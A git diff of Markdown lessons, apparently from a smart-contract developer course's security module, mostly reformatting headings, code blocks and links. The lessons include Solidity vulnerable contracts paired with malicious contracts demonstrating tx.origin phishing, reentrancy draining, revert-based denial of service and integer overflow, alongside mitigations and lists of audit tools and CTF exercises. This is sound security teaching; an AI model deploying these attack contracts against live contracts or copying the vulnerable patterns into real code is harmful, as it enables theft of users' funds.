state changes before calling external contracts. -A more complex solution could implement mutual exclusion, or a [mutex.](https://en.wikipedia.org/wiki/Lock_(computer_science)){target=_blank} This allows you to lock a state and only allow changes by the owner of the lock. You can see an example of a mutex in Solidity [here.](https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21){target=_blank} +A more complex solution could implement mutual exclusion, or a [mutex](){target=\_blank}. This allows you to lock a state and only allow changes by the owner of the lock. You can see an example of a mutex in Solidity [here](https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21){target=\_blank}. -You can dig deeper into known attacks such as these [here.](https://ethereum-contract-security-techniques-and-tips.readthedocs.io/en/latest/known_attacks/#race-conditions42){target=_blank} +You can dig deeper into known attacks such as these [here](https://ethereum-contract-security-techniques-and-tips.readthedocs.io/en/latest/known_attacks/#race-conditions42){target=\_blank}. -Integer Under / Overflow ------------------------- +## Integer Under / Overflow ![integer under and overflow diagram](../../../img/S03/swc-7.png) **Note: With the inclusion of SafeMath natively with Solidity 0.8.x, the likelihood of writing an integer under / overflow is unlikely. However, this is still an issue that exists in the wild and there are edge cases in which it could be achieved.** -Integers can underflow or overflow in the EVM ([SWC-101](https://swcregistry.io/docs/SWC-101){target=_blank}{target=_blank}). This happens when an arithmetic value oversteps the minimum or maximum size of a type. +Integers can underflow or overflow in the EVM ([SWC-101](https://swcregistry.io/docs/SWC-101){target=\_blank}). This happens when an arithmetic value oversteps the minimum or maximum size of a type. The max value for an unsigned integer is 2 ^ 256 - 1, which is roughly 1.15 times 10 ^ 77. If an integer overflows, the value will go back to 0. For example, a variable called score of type uint8 storing a value of 255 that is incremented by 1 will now be storing the value 0. @@ -171,27 +166,26 @@ Underflow is a similar situation, but when a uint goes below its minimum value i Be careful with smaller data types like uint8, uint16, etc
 they can more easily reach their maximum value -More information and concrete examples can be found at [the corresponding SWC Registry entry](https://swcregistry.io/docs/SWC-101){target=_blank} +More information and concrete examples can be found at [the corresponding SWC Registry entry](https://swcregistry.io/docs/SWC-101){target=\_blank} -Unexpected Revert DoS ---------------------- +## Unexpected Revert DoS -This attack basically consists of make a vulnerable contract inoperable by forcing a failure or an awaiting situation, locking temporarily or permanently the contract execution ([SWC-113](https://swcregistry.io/docs/SWC-113){target=_blank}{target=_blank}). +This attack basically consists of make a vulnerable contract inoperable by forcing a failure or an awaiting situation, locking temporarily or permanently the contract execution ([SWC-113](https://swcregistry.io/docs/SWC-113){target=\_blank}). + +```solidity +// INSECURE +contract Auction { + address currentLeader; + uint highestBid; + + function bid() payable { + require(msg.value > highestBid); -``` -// INSECURE -contract Auction { - address currentLeader; - uint highestBid; - - function bid() payable { - require(msg.value > highestBid); - // Refund the old leader, if it fails then revert - require(currentLeader.send(highestBid)); - currentLeader = msg.sender; - highestBid = msg.value; - } + require(currentLeader.send(highestBid)); + currentLeader = msg.sender; + highestBid = msg.value; + } } ``` @@ -201,36 +195,34 @@ The contract at the provided address throws an exception, execution halts and th This problem is avoidable using the withdrawal pattern and push-pull. You could also use a multisig contract, expire time or another technique as an emergency plan for possible lock situations. -`tx.origin` Authentication --------------------------- +## `tx.origin` Authentication ![tx.origin authentication diagram](../../../img/S03/swc-9.png) This kind of attack happens when a vulnerable contract uses `tx.origin` for authentication. An attacker can induce the owner of the vulnerable contract make a call to a malicious contract. Then, a malicious code calls the vulnerable contract, taking advantage of the owner authorizations. -``` -// Vulnerable contract -function withdraw(address payable _recipient) public { - require(tx.origin == owner); - _recipient.transfer(address(this).balance); -} - -// Malicious contract -function() external payable { - vulnerableContract.withdraw(attackerAddress); +```solidity +// Vulnerable contract +function withdraw(address payable _recipient) public { + require(tx.origin == owner); + _recipient.transfer(address(this).balance); +} + +// Malicious contract +function() external payable { + vulnerableContract.withdraw(attackerAddress); } ``` -An example of this was the [Poly Network hack,](https://twitter.com/kelvinfichter/status/1425217046636371969){target=_blank} although not on the Ethereum network. +An example of this was the [Poly Network hack](https://web.archive.org/web/20210810220645/https://twitter.com/kelvinfichter/status/1425217046636371969){target=\_blank}, although not on the Ethereum network. -There are always more attack vectors, be sure to look through the SWC registry, [follow Diligence on Twitter](https://twitter.com/ConsenSysAudits){target=_blank}, or whatever source you need to make sure you stay up to date with security on Ethereum. +There are always more attack vectors, be sure to look through the SWC registry, [follow Diligence on Twitter](https://twitter.com/ConsenSysAudits){target=\_blank}, or whatever source you need to make sure you stay up to date with security on Ethereum. -Additional Material -------------------- +## Additional Material -* [Wiki: Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/){target=_blank} and [Recommendations](https://ethereum-contract-security-techniques-and-tips.readthedocs.io/en/latest/recommendations/){target=_blank} -* [Article: Ethereum is a Dark Forest](https://medium.com/@danrobinson/ethereum-is-a-dark-forest-ecc5f0505dff){target=_blank} A long, comprehensive article discussing frontrunning from a first-person perspective. Got a lot of people's attention in the community around the topic. -* [Wiki: Flashbots](https://github.com/flashbots/pm){target=_blank} A collection of research and news about Miner Extracted Value and Frontrunning. -* [Article: Smart Contract Bugs and Security Best Practices](https://sunnya97.gitbooks.io/a-beginner-s-guide-to-ethereum-and-dapp-developme/smart-contract-best-practices.html){target=_blank} -* [Article: To Sink Frontrunners, Send in the Submarines](http://hackingdistributed.com/2017/08/28/submarine-sends/){target=_blank} An article discussing a frontrunning defense mechanism -* [Article: Protect Your Solidity Smart Contracts from Reentrancy](https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21){target=_blank} Discusses mutex locks in Solidity. +- [Wiki: Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/){target=\_blank} and [Recommendations](https://ethereum-contract-security-techniques-and-tips.readthedocs.io/en/latest/recommendations/){target=\_blank} +- [Article: Ethereum is a Dark Forest](https://medium.com/@danrobinson/ethereum-is-a-dark-forest-ecc5f0505dff){target=\_blank} A long, comprehensive article discussing frontrunning from a first-person perspective. Got a lot of people's attention in the community around the topic. +- [Wiki: Flashbots](https://github.com/flashbots/pm){target=\_blank} A collection of research and news about Miner Extracted Value and Frontrunning. +- [Article: Smart Contract Bugs and Security Best Practices](https://sunnya97.gitbooks.io/a-beginner-s-guide-to-ethereum-and-dapp-developme/smart-contract-best-practices.html){target=\_blank} +- [Article: To Sink Frontrunners, Send in the Submarines](http://hackingdistributed.com/2017/08/28/submarine-sends/){target=\_blank} An article discussing a frontrunning defense mechanism +- [Article: Protect Your Solidity Smart Contracts from Reentrancy](https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21){target=\_blank} Discusses mutex locks in Solidity. diff --git a/docs/S03-smart-contracts/M6-security/L2b-tx-origin-attack/index.md b/docs/S03-smart-contracts/M6-security/L2b-tx-origin-attack/index.md index 9e687c65..7e836d2a 100644 --- a/docs/S03-smart-contracts/M6-security/L2b-tx-origin-attack/index.md +++ b/docs/S03-smart-contracts/M6-security/L2b-tx-origin-attack/index.md @@ -1,42 +1,41 @@ -TxOrigin Attack (SWC-115) -------------------------- +# TxOrigin Attack (SWC-115) -In this lesson we are going to cover a `tx.origin` attack. The global variable `tx.origin` in Solidity always references the address of the original sender of the transaction, of the full call chain. [See the reference in the docs here.](https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=tx.origin#block-and-transaction-properties){target=_blank} This is different than `msg.sender` in that `msg.sender` references the address of the sender of the current call. +In this lesson we are going to cover a `tx.origin` attack. The global variable `tx.origin` in Solidity always references the address of the original sender of the transaction, of the full call chain. [See the reference in the docs here](https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=tx.origin#block-and-transaction-properties){target=\_blank}. This is different than `msg.sender` in that `msg.sender` references the address of the sender of the current call. -You should never use `tx.origin` in Solidity for authorization ([SWC-115](https://swcregistry.io/docs/SWC-115){target=_blank}). The following smart contract shows you why. It is susceptible to attack. +You should never use `tx.origin` in Solidity for authorization ([SWC-115](https://swcregistry.io/docs/SWC-115){target=\_blank}). The following smart contract shows you why. It is susceptible to attack. -``` -pragma solidity >0.5.0; - -// Example Tx.Origin Authentication Attack -contract VulnerableContract { - address payable owner = msg.sender; - - function withdraw(address payable _recipient) public { - require(tx.origin == owner); - _recipient.transfer(address(this).balance); - } - - function getBalance() view public returns(uint) { - return address(this).balance; - } - - function() external payable {} -} - -contract MaliciousContract { - VulnerableContract vulnerableContract = VulnerableContract(0x08970FEd061E7747CD9a38d680A601510CB659FB); - address payable attackerAddress = 0xdD870fA1b7C4700F2BD7f44238821C26f7392148; - - function() external payable { - vulnerableContract.withdraw(attackerAddress); - } +```solidity +pragma solidity >0.5.0; + +// Example Tx.Origin Authentication Attack +contract VulnerableContract { + address payable owner = msg.sender; + + function withdraw(address payable _recipient) public { + require(tx.origin == owner); + _recipient.transfer(address(this).balance); + } + + function getBalance() view public returns(uint) { + return address(this).balance; + } + + function() external payable {} +} + +contract MaliciousContract { + VulnerableContract vulnerableContract = VulnerableContract(0x08970FEd061E7747CD9a38d680A601510CB659FB); + address payable attackerAddress = 0xdD870fA1b7C4700F2BD7f44238821C26f7392148; + + function() external payable { + vulnerableContract.withdraw(attackerAddress); + } } ``` In this contract, if the creator of the VulnerableContract is tricked into calling the MaliciousContract, the Malicious contract will be able to drain the VulnerableContract of all funds. -Additional Resources: +## Additional Resources -* [Solidity documentation on the security considerations of tx.origin](https://solidity.readthedocs.io/en/latest/security-considerations.html?#tx-origin){target=_blank} -* [The SWC Registry entry for Authorization through tx.origin](https://swcregistry.io/docs/SWC-115){target=_blank} +- [Solidity documentation on the security considerations of tx.origin](https://docs.soliditylang.org/en/latest/security-considerations.html#tx-origin){target=\_blank} +- [The SWC Registry entry for Authorization through tx.origin](https://swcregistry.io/docs/SWC-115){target=\_blank} diff --git a/docs/S03-smart-contracts/M6-security/L2c-dos-attack/index.md b/docs/S03-smart-contracts/M6-security/L2c-dos-attack/index.md index 4f1ff80c..8f29598f 100644 --- a/docs/S03-smart-contracts/M6-security/L2c-dos-attack/index.md +++ b/docs/S03-smart-contracts/M6-security/L2c-dos-attack/index.md @@ -1,53 +1,51 @@ -DoS Attack Contract -=================== +# DoS Attack Contract -This set of contracts shows how a contract may be susceptible to a denial of service attack by an unexpected revert ([SWC-113](https://swcregistry.io/docs/SWC-113){target=_blank}). +This set of contracts shows how a contract may be susceptible to a denial of service attack by an unexpected revert ([SWC-113](https://swcregistry.io/docs/SWC-113){target=\_blank}). The `VulnerableContract` loops over the subscribers array, making a transfer to each address. This is dangerous because when the `refundFees()` function is called and the `VulnerableContract` attempts to send funds to the `MaliciousContract`, the `MaliciousContract` fallback function is called, which stops execution and reverts. This transaction will never succeed and `refundFees()` will never successfully execute, preventing any subscribers from getting their subscription fee back. -``` +```solidity pragma solidity 0.8.4; -// Example DenialOfService Attack -contract VulnerableContract { - address owner = msg.sender; - address payable[] public subscribers; - uint FEE_COST = 1 ether; - - function subscribe() public payable { - require(msg.value == FEE_COST, "Insufficient msg.value"); - subscribers.push(msg.sender); - } - - function refundFees() public { - require(msg.sender == owner, "msg.sender should be owner"); - for(uint i = subscribers.length; i > 0; i--) { - subscribers[i - 1].transfer(FEE_COST); - subscribers.pop(); +// Example DenialOfService Attack +contract VulnerableContract { + address owner = msg.sender; + address payable[] public subscribers; + uint FEE_COST = 1 ether; + + function subscribe() public payable { + require(msg.value == FEE_COST, "Insufficient msg.value"); + subscribers.push(msg.sender); + } + + function refundFees() public { + require(msg.sender == owner, "msg.sender should be owner"); + for(uint i = subscribers.length; i > 0; i--) { + subscribers[i - 1].transfer(FEE_COST); + subscribers.pop(); } - } - - function getBalance() view public returns(uint) { - return address(this).balance; - } - - // Auxiliar function for demo. It wouldn't be present in a vulnerable contract - function removeLastSubscriber() public { - subscribers.pop(); } - -} - -contract MaliciousContract { - VulnerableContract vulnerableContract = VulnerableContract(0x5E72914535f202659083Db3a02C984188Fa26e9f); - - function subscribe() public payable { - vulnerableContract.subscribe.value(msg.value)(); - } - - fallback() external payable { - require(false); + + function getBalance() view public returns(uint) { + return address(this).balance; + } + + // Auxiliar function for demo. It wouldn't be present in a vulnerable contract + function removeLastSubscriber() public { + subscribers.pop(); + } + +} + +contract MaliciousContract { + VulnerableContract vulnerableContract = VulnerableContract(0x5E72914535f202659083Db3a02C984188Fa26e9f); + + function subscribe() public payable { + vulnerableContract.subscribe.value(msg.value)(); + } + + fallback() external payable { + require(false); } } ``` - diff --git a/docs/S03-smart-contracts/M6-security/L2d-reentrancy-attack/index.md b/docs/S03-smart-contracts/M6-security/L2d-reentrancy-attack/index.md index b8b472b6..d11d48d0 100644 --- a/docs/S03-smart-contracts/M6-security/L2d-reentrancy-attack/index.md +++ b/docs/S03-smart-contracts/M6-security/L2d-reentrancy-attack/index.md @@ -1,53 +1,51 @@ -Reentrancy Example -================== +# Reentrancy Example -This set of contracts shows what a reentrancy attack ([SWC-107](https://swcregistry.io/docs/SWC-107){target=_blank}) looks like. +This set of contracts shows what a reentrancy attack ([SWC-107](https://swcregistry.io/docs/SWC-107){target=\_blank}) looks like. -``` +```solidity pragma solidity 0.8.2; -// Example Reentrancy Attack -contract VulnerableContract { - mapping(address => uint) public balances; - - function deposit() public payable { - require(msg.value > 1); - balances[msg.sender] += msg.value; - } - - function withdraw(uint _amount) public { - require(balances[msg.sender] >= _amount, "Not enough balance!"); - msg.sender.call.value(_amount)(""); - balances[msg.sender] -= _amount; - } - - function getBalance() view public returns(uint) { - return address(this).balance; - } - +// Example Reentrancy Attack +contract VulnerableContract { + mapping(address => uint) public balances; + + function deposit() public payable { + require(msg.value > 1); + balances[msg.sender] += msg.value; + } + + function withdraw(uint _amount) public { + require(balances[msg.sender] >= _amount, "Not enough balance!"); + msg.sender.call.value(_amount)(""); + balances[msg.sender] -= _amount; + } + + function getBalance() view public returns(uint) { + return address(this).balance; + } + fallback() payable external {} -} - -contract MaliciousContract { - VulnerableContract vulnerableContract = VulnerableContract(0x08970FEd061E7747CD9a38d680A601510CB659FB); - - function deposit() public payable { - vulnerableContract.deposit.value(msg.value)(); - } - - function withdraw() public { - vulnerableContract.withdraw(1 ether); - } - - function getBalance() view public returns(uint) { - return address(this).balance; - } - - fallback() payable external { - if(address(vulnerableContract).balance > 1 ether) { - vulnerableContract.withdraw(1 ether); - } +} + +contract MaliciousContract { + VulnerableContract vulnerableContract = VulnerableContract(0x08970FEd061E7747CD9a38d680A601510CB659FB); + + function deposit() public payable { + vulnerableContract.deposit.value(msg.value)(); + } + + function withdraw() public { + vulnerableContract.withdraw(1 ether); + } + + function getBalance() view public returns(uint) { + return address(this).balance; + } + + fallback() payable external { + if(address(vulnerableContract).balance > 1 ether) { + vulnerableContract.withdraw(1 ether); + } } } ``` - diff --git a/docs/S03-smart-contracts/M6-security/L2e-int-under-over-attack/index.md b/docs/S03-smart-contracts/M6-security/L2e-int-under-over-attack/index.md index 06a58f34..dbbe8f03 100644 --- a/docs/S03-smart-contracts/M6-security/L2e-int-under-over-attack/index.md +++ b/docs/S03-smart-contracts/M6-security/L2e-int-under-over-attack/index.md @@ -1,52 +1,51 @@ -Integer Over / Underflow -======================== +# Integer Over / Underflow **Note: Due to SafeMath being included in Solidity 0.8.x, the likelihood of you writing an integer under or overflow is extremely unlikely. However, a number of contracts still exist with this attack vector and it's good to know about. But, again, the inclusion of SafeMath helps significantly protect against this attack vector.** -This contract shows what an integer overflow vulnerability ([SWC-101](https://swcregistry.io/docs/SWC-101){target=_blank}) looks like. +This contract shows what an integer overflow vulnerability ([SWC-101](https://swcregistry.io/docs/SWC-101){target=\_blank}) looks like. In this VulnerableContract the lockTime is manipulable by the currentInvestor. The maximum value for the lockTime is 4294967295 because it is declared type uint32 (and 2^32 = 4294967296). If the currentInvestor attempts to set the value above 4294967295, it will overflow and start counting back at 0. -``` +```solidity pragma solidity ^0.5.0; -// Example Integer Overflow and Underflow - -contract VulnerableContract { - uint MINIMUM_INVESTMENT = 50 ether; - uint32 INITIAL_LOCK_TIME = 2592000; // 30 days in seconds - address payable currentInvestor; - uint investmentTimestamp; - uint32 public lockTime = INITIAL_LOCK_TIME; - - function increaseLockTime(uint32 _seconds) public { - require(msg.sender == currentInvestor); +// Example Integer Overflow and Underflow + +contract VulnerableContract { + uint MINIMUM_INVESTMENT = 50 ether; + uint32 INITIAL_LOCK_TIME = 2592000; // 30 days in seconds + address payable currentInvestor; + uint investmentTimestamp; + uint32 public lockTime = INITIAL_LOCK_TIME; + + function increaseLockTime(uint32 _seconds) public { + require(msg.sender == currentInvestor); // uint32 max is 4294967295 seconds. Attack passing 4292375295 - lockTime += _seconds; - } - - function invest() public payable { - require(currentInvestor == address(0)); - require(msg.value >= MINIMUM_INVESTMENT); - currentInvestor = msg.sender; - investmentTimestamp = now; - } - - function withdrawWithProfit() public { - require(msg.sender == currentInvestor); - require(now - investmentTimestamp >= lockTime); - uint profit = 1 ether + lockTime * 1 wei; - currentInvestor.transfer(MINIMUM_INVESTMENT + profit); - currentInvestor = address(0); - lockTime = INITIAL_LOCK_TIME; - } - - function getBalance() view public returns(uint) { - return address(this).balance; - } - + lockTime += _seconds; + } + + function invest() public payable { + require(currentInvestor == address(0)); + require(msg.value >= MINIMUM_INVESTMENT); + currentInvestor = msg.sender; + investmentTimestamp = now; + } + + function withdrawWithProfit() public { + require(msg.sender == currentInvestor); + require(now - investmentTimestamp >= lockTime); + uint profit = 1 ether + lockTime * 1 wei; + currentInvestor.transfer(MINIMUM_INVESTMENT + profit); + currentInvestor = address(0); + lockTime = INITIAL_LOCK_TIME; + } + + function getBalance() view public returns(uint) { + return address(this).balance; + } + function() external payable {} } ``` - -This type of attack is easily avoidable by using [a SafeMath library such as this](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol){target=_blank}, that provides safety checks and will revert on error. The SafeMath library [now ships](https://blog.soliditylang.org/2020/12/16/solidity-v0.8.0-release-announcement/){target=_blank} with Solidity as of 0.8.x, so you do not have to include it if you're working with a compiler on 0.8.x except in very specific cases. \ No newline at end of file + +This type of attack is easily avoidable by using [a SafeMath library such as this](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol){target=\_blank}, that provides safety checks and will revert on error. The SafeMath library [now ships](https://blog.soliditylang.org/2020/12/16/solidity-v0.8.0-release-announcement/){target=\_blank} with Solidity as of 0.8.x, so you do not have to include it if you're working with a compiler on 0.8.x except in very specific cases. diff --git a/docs/S03-smart-contracts/M6-security/L3-sc-checklist/index.md b/docs/S03-smart-contracts/M6-security/L3-sc-checklist/index.md index e8b97c5a..de4893ba 100644 --- a/docs/S03-smart-contracts/M6-security/L3-sc-checklist/index.md +++ b/docs/S03-smart-contracts/M6-security/L3-sc-checklist/index.md @@ -1,11 +1,11 @@ -*Please ignore the lesson and module numbers in the video, they're an artifact from an earlier version of this course* +# SWC Registry -SWC Registry +_Please ignore the lesson and module numbers in the video, they're an artifact from an earlier version of this course_ -For a comprehensive, maintained list of smart contract weaknesses, along with test cases and examples of vulnerable smart contracts, check out the [SWC Registry](https://swcregistry.io/). This is a community maintained project and includes most, if not all of the well known vulnerabilities and hacks, with contract samples and suggestions for how to address weaknesses. +For a comprehensive, maintained list of smart contract weaknesses, along with test cases and examples of vulnerable smart contracts, check out the [SWC Registry](https://swcregistry.io/){target=\_blank}. This is a community maintained project and includes most, if not all of the well known vulnerabilities and hacks, with contract samples and suggestions for how to address weaknesses. -Additional Resources: +## Additional Resources -1. [Smart contract safety checklist](https://www.kingoftheether.com/contract-safety-checklist.html) -2. [Cross chain replay attacks](http://hackingdistributed.com/2016/07/17/cross-chain-replay/) -3. S[olidity Attack Vectors](https://blog.sigmaprime.io/solidity-security.html) +- [Smart contract safety checklist](https://www.kingoftheether.com/contract-safety-checklist.html){target=\_blank} +- [Cross chain replay attacks](http://hackingdistributed.com/2016/07/17/cross-chain-replay/){target=\_blank} +- [Solidity Attack Vectors](https://blog.sigmaprime.io/solidity-security.html){target=\_blank} diff --git a/docs/S03-smart-contracts/M6-security/L4-tdd-and-truffle-tests/index.md b/docs/S03-smart-contracts/M6-security/L4-tdd-and-truffle-tests/index.md index 25a9422c..a9738745 100644 --- a/docs/S03-smart-contracts/M6-security/L4-tdd-and-truffle-tests/index.md +++ b/docs/S03-smart-contracts/M6-security/L4-tdd-and-truffle-tests/index.md @@ -1,4 +1 @@ - Title -===== - - \ No newline at end of file +# Title diff --git a/docs/S03-smart-contracts/M6-security/L5-intro-to-dili/index.md b/docs/S03-smart-contracts/M6-security/L5-intro-to-dili/index.md index 78b379cf..b6d7c688 100644 --- a/docs/S03-smart-contracts/M6-security/L5-intro-to-dili/index.md +++ b/docs/S03-smart-contracts/M6-security/L5-intro-to-dili/index.md @@ -7,11 +7,11 @@ As we've drilled into your head many times now, smart contract development is di - High cost of failure. More similar to hardware and financial services programming. - Smart contracts information is public and anyone can call your public functions. -We've gone over many of the common attack vectors, discussed smart contract best practices and showed you design patterns to increase security for your distributed applications. Much of this information came from the brilliant minds at Diligence, the auditing and smart contract security arm of ConsenSys. +We've gone over many of the common attack vectors, discussed smart contract best practices and showed you design patterns to increase security for your distributed applications. Much of this information came from the brilliant minds at [Diligence](https://consensys.net/diligence/){target=\_blank}, the auditing and smart contract security arm of ConsenSys. -Diligence provides audits for the largest names in the blockchain sector, including Aave, 0x, Covantis, Aragon, Omisego, Horizon and more. +Diligence provides audits for the largest names in the blockchain sector, including [Aave](https://aave.com){target=\_blank}, [0x](https://0x.org){target=\_blank}, [Covantis](https://www.covantis.io/){target=\_blank}, [Aragon](https://aragon.org/){target=\_blank}, [Omisego](https://omg.network/){target=\_blank}, [Horizon](https://horizon.io/){target=\_blank} and more. -Along with audits, Diligence also provides automated security analysis through two main tools: MythX and Scribble. +Along with audits, Diligence also provides automated security analysis through two main tools: **MythX** and **Scribble**. ## MythX @@ -21,12 +21,12 @@ Along with audits, Diligence also provides automated security analysis through t ## Steps to Get Started -1. Go to [https://mythx.io/](https://mythx.io/) -2. Click the “**sign up**”button -3. Complete the registration form. -4. You will then have an option to choose a plan. Please select “**Try MythX & Buy Scans**” This will allow you to set up a MythX account with no charge. -5. Go to the dashboard Billing tab click "**Buy a pack of 3 scans today for $9.99**" -6. Enter your promo code `x9naNrvz` in the box provided and proceed through check with no charge +1. Go to [https://mythx.io/](https://mythx.io/) +2. Click the “**sign up**”button +3. Complete the registration form. +4. You will then have an option to choose a plan. Please select “**Try MythX & Buy Scans**” This will allow you to set up a MythX account with no charge. +5. Go to the dashboard Billing tab click "**Buy a pack of 3 scans today for $9.99**" +6. Enter your promo code `x9naNrvz` in the box provided and proceed through check with no charge ## Scribble @@ -37,13 +37,16 @@ Fuzzing is a general computer security automation method that essentially runs m In the following lesson, Joran Honig will walk you through the basic concepts behind Scribble and through three exercises to help you learn how to use Scribble! ## Additional Material -- Video: Security by Design and Smart Contract Audits (Shayan Eskandari) -- Series: Diligence YouTube Channel -- Video: Shift Left and DevSecOps (Joran Honig) Talk from TruffleCon2020 where Joran goes through the concept of "Shift Left" as it applies to security best practices. -- Video: Shift Left and Automated Tooling (Joran Honig) -- Articles: Collection of Smart Contract Best Practices from Diligence -## Scribble -- Article: Introducing Scribble -- Article: Introducing Scribble Generator -Article: Writing Properties — A New Approach to Testing -Article: Four Effective Strategies To Come Up with Scribble Annotations + +- [Video: Security by Design and Smart Contract Audits (Shayan Eskandari)](https://youtu.be/gfD1KBtLWZI){target=\_blank} +- [Series: Diligence YouTube Channel](https://youtube.com/channel/UCkoGLA5DUdXO4Qfo_9RDjIA){target=\_blank} +- [Video: Shift Left and DevSecOps (Joran Honig)](https://www.youtube.com/watch?v=ax8k8TsIapg){target=\_blank} Talk from TruffleCon2020 where Joran goes through the concept of "Shift Left" as it applies to security best practices. +- [Video: Shift Left and Automated Tooling (Joran Honig)](https://www.youtube.com/watch?v=pPuxVJUfcE8){target=\_blank} +- [Articles: Collection of Smart Contract Best Practices from Diligence](https://consensys.net/diligence/categories/best-practice/){target=\_blank} + +## Additional Material on Scribble + +- [Article: Introducing Scribble](https://consensys.net/diligence/blog/2020/12/introducing-scribble/){target=\_blank} +- [Article: Introducing Scribble Generator](https://consensys.net/diligence/blog/2021/07/introducing-scribble-generator/){target=\_blank} + [Article: Writing Properties — A New Approach to Testing](https://consensys.net/diligence/blog/2021/01/writing-properties-a-new-approach-to-testing/){target=\_blank} + [Article: Four Effective Strategies To Come Up with Scribble Annotations](https://consensys.net/diligence/blog/2021/02/4-effective-strategies-to-come-up-with-scribble-annotations/){target=\_blank} diff --git a/docs/S03-smart-contracts/M6-security/L6-scribble/index.md b/docs/S03-smart-contracts/M6-security/L6-scribble/index.md index 5f99bc51..46db287d 100644 --- a/docs/S03-smart-contracts/M6-security/L6-scribble/index.md +++ b/docs/S03-smart-contracts/M6-security/L6-scribble/index.md @@ -1 +1 @@ -This is currently a video on the LMS \ No newline at end of file +This is currently a video on the LMS diff --git a/docs/S03-smart-contracts/M6-security/L7-other-security-options/index.md b/docs/S03-smart-contracts/M6-security/L7-other-security-options/index.md index 0d6a284d..f88d8993 100644 --- a/docs/S03-smart-contracts/M6-security/L7-other-security-options/index.md +++ b/docs/S03-smart-contracts/M6-security/L7-other-security-options/index.md @@ -1,25 +1,28 @@ -## Other Security Options +# Other Security Options Outside of the tools we've provided so far, there are other great security analysis tools: ## Tools -- OpenZeppelin Defender Less of a security tool per se and more like an operating system or dashboard for your smart contracts. This allows you to monitor your smart contracts, respond to exploits or bugs by adjusting access control, and private transaction relayers. -- Slither A static analysis framework for Solidity built by the auditing firm Trail of Bits. It is written in Python, is open-source and you can read more about it here. -- Manticore "A symbolic execution tool for analysis of smart contracts and binaries" as well as WASM modules. Also built by Trail of Bits! Read more here. -- Ethersplay An EVM Disassembler which takes as input raw EVM bytecode (your contract you're deploying) and analyzes it at the Assembly level. It can provide a flow graph of all the functions in the bytecode. *Another* tool from Trail of Bits, it also can let you know where Manticore has scanned. -- Echidna A fuzzer like Scribble. It is "a Haskell program designed for fuzzing/property-based testing of Ethereum smarts contracts. It uses sophisticated grammar-based fuzzing campaigns based on a contract ABI to falsify user-defined predicates or Solidity assertions." (source) Also from Trail of Bits. + +- [OpenZeppelin Defender](https://openzeppelin.com/defender/){target=\_blank} Less of a security tool per se and more like an operating system or dashboard for your smart contracts. This allows you to monitor your smart contracts, respond to exploits or bugs by adjusting access control, and private transaction relayers. +- [Slither](https://github.com/crytic/slither){target=\_blank} A static analysis framework for Solidity built by the auditing firm [Trail of Bits](https://www.trailofbits.com/){target=\_blank}. It is written in Python, is open-source and you can read more about it [here](https://blog.trailofbits.com/2018/10/19/slither-a-solidity-static-analysis-framework/){target=\_blank}. +- [Manticore](https://github.com/trailofbits/manticore){target=\_blank} "A [symbolic execution](https://en.wikipedia.org/wiki/Symbolic_execution){target=\_blank} tool for analysis of smart contracts and binaries" as well as WASM modules. Also built by Trail of Bits! [Read more here](https://blog.trailofbits.com/2017/04/27/manticore-symbolic-execution-for-humans/){target=\_blank}. +- [Ethersplay](https://github.com/crytic/ethersplay){target=\_blank} An EVM Disassembler which takes as input raw EVM bytecode (your contract you're deploying) and analyzes it at the Assembly level. It can provide a flow graph of all the functions in the bytecode. _Another_ tool from Trail of Bits, it also can let you know where Manticore has scanned. +- [Echidna](https://github.com/crytic/echidna){target=\_blank} A fuzzer like Scribble. It is "a Haskell program designed for fuzzing/property-based testing of Ethereum smarts contracts. It uses sophisticated grammar-based fuzzing campaigns based on a contract ABI to falsify user-defined predicates or Solidity assertions." ([source](https://github.com/crytic/echidna){target=\_blank}) Also from Trail of Bits. ## Learning -- Blocksec CTFs An amazing collection of blockchain Capture The Flag (CTF) exercises and write-ups -- Article: Ethereum Quirks and Vulnerabilities Discussion around attack vectors on Ethereum -- Ethernaut Phenomenal CTF / Wargame series of exercises for blockchain security. Be sure to checkout the EthernautDAO, organized in part by the designing of Ethernaut. -- DamnVulnerableDeFi A DeFi-oriented CFT -- Capture the Ether Another blockchain CTF, written by Steve Marx -- CipherShastra Another CTF-style learning challenge -- Diligence Public Audits, OpenZeppelin Audits Another great way to learn to audit is to read reports from the best organizations doing them. Trail of Bits is not blockchain-specific, but you can see their public security "reviews" here. + +- [Blocksec CTFs](https://github.com/openblocksec/blocksec-ctfs){target=\_blank} An amazing collection of blockchain Capture The Flag (CTF) exercises and write-ups +- [Article: Ethereum Quirks and Vulnerabilities](https://swende.se/blog/Ethereum_quirks_and_vulns.html){target=\_blank} Discussion around attack vectors on Ethereum +- [Ethernaut](https://ethernaut.openzeppelin.com/){target=\_blank} Phenomenal CTF / Wargame series of exercises for blockchain security. Be sure to checkout the [EthernautDAO](https://twitter.com/ethernautdao){target=\_blank}, organized in part by the designing of Ethernaut. +- [DamnVulnerableDeFi](https://www.damnvulnerabledefi.xyz/){target=\_blank} A DeFi-oriented CFT +- [Capture the Ether](https://capturetheether.com/){target=\_blank} Another blockchain CTF, written by [Steve Marx](https://twitter.com/smarx){target=\_blank} +- [CipherShastra](https://ciphershastra.com/){target=\_blank} Another CTF-style learning challenge +- [Diligence Public Audits](https://consensys.net/diligence/audits/){target=\_blank}, [OpenZeppelin Audits](https://blog.openzeppelin.com/security-audits/){target=\_blank} Another great way to learn to audit is to read reports from the best organizations doing them. Trail of Bits is not blockchain-specific, but you can see [their public security "reviews" here](https://github.com/trailofbits/publications#security-reviews){target=\_blank}. ## Audits -- Thread: Before an Audit @Tincho, a security researcher at OpenZeppelin, walks through the things you absolutely should do before submitting your code for an audit -- Code 423n4 "A community-driven approach to competitive smart contract audits." A great way to get into auditing — no experience necessary. -- Immunefi A collection of bug bounties for blockchain projects anyone can contribute. -- Article: Introducing Solidify (Coinbase) We haven't gotten a chance to try this one, but Coinbase offering a new tool for smart 